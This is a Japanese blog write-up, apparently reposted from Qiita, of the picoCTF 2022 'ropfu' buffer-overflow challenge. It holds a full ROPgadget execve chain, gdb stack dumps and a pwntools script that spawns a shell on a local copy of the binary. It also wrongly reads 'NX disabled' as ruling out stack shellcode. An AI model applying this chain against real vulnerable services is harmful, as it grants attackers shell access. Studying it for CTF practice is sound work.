picoCTF 2022 ropfu を勉強した記録
BOFの脆弱性はある。libcは配布されていないので,smashme みたいに スタックでシェルコードを実行するのかな?
セキュリティを確認
# checksec ./vuln
[*] '/home/xxxx/picoctf2022/ropfu/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
NX disabledなのでダメだ。
お手上げ。
他力本願
syscallを使ってROPchainを組めだと。
64ビットなら,syscallは勉強済み
しかし32ビットはわからん。
ctftimeのとおり ROPgadget をやってみる
# ROPgadget --binary ./vuln --ropchain
(中略)
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret <-- ebx = "/bin/sh"のアドレス
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret <-- eax = 11
p += pack('<I', 0x0804a3d2) # int 0x80 <-- syscall
32ビットのexecveの資料,どっかにないか?
execveの32ビットにおけるcall番号は11 なので eax に 11 をセット
ebx に "/bin/sh"のアドレスをセット
ecx と edx には 0x0 をセット
そして
syscall(int 0x80)に飛ばす
Aの数を確認して
0x08049e25 <+84>: call 0x8049d95 <vuln>
0x08049e2a <+89>: mov eax,0x0
gdb-peda$ x/60xw $esp
0xffffd3c0: 0xffffd3d0 0x080e62c4 0x00000000 0x08049da5
0xffffd3d0: 0x00414141 0x0806e58a 0x080e5000 0x08049e22
0xffffd3e0: 0x00000000 0x080e5000 0xffffd408 0x08049e2a
Aは 4*7
組んでみる。
import pwn
from struct import pack
#io = pwn.remote("saturn.picoctf.net", 55012)
io = pwn.process("./vuln")
ret = io.readuntil("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n")
print(ret)
p = 'A' * 4 * 7
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
print(p)
io.send(p)
io.interactive()
ローカルで実行してみる
# python vuln.py
[+] Starting local process './vuln': pid 2457
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAɃ\x05`P\x0eAAAAJ\x0/bin\x91\x05Ƀ\x05dP\x0eAAAAJ\x0//sh\x91\x05Ƀ\x05hP\x0eAAAA\x90��\x05"\x90\x04`P\x0e9\x9e\x04hP\x0eɃ\x05hP\x0e`P\x0e\x90^\x0^\x0^\x0^\x0^\x0^\x0^\x0^\x^\x0^\x0ң\x04
[*] Switching to interactive mode
$ ls
$ ls
flag.txt peda-session-vuln.txt vuln vuln.c vuln.py
$ cat flag.txt
This is local test flag!!!$
刺さった。
勉強のためにと思って ROPgadget を一切使わずにやってきたのが仇となり解けなかった。
Author And Source
この問題について(picoCTF 2022 ropfu を勉強した記録), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/2be2b8147f35a4d6a6ce著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .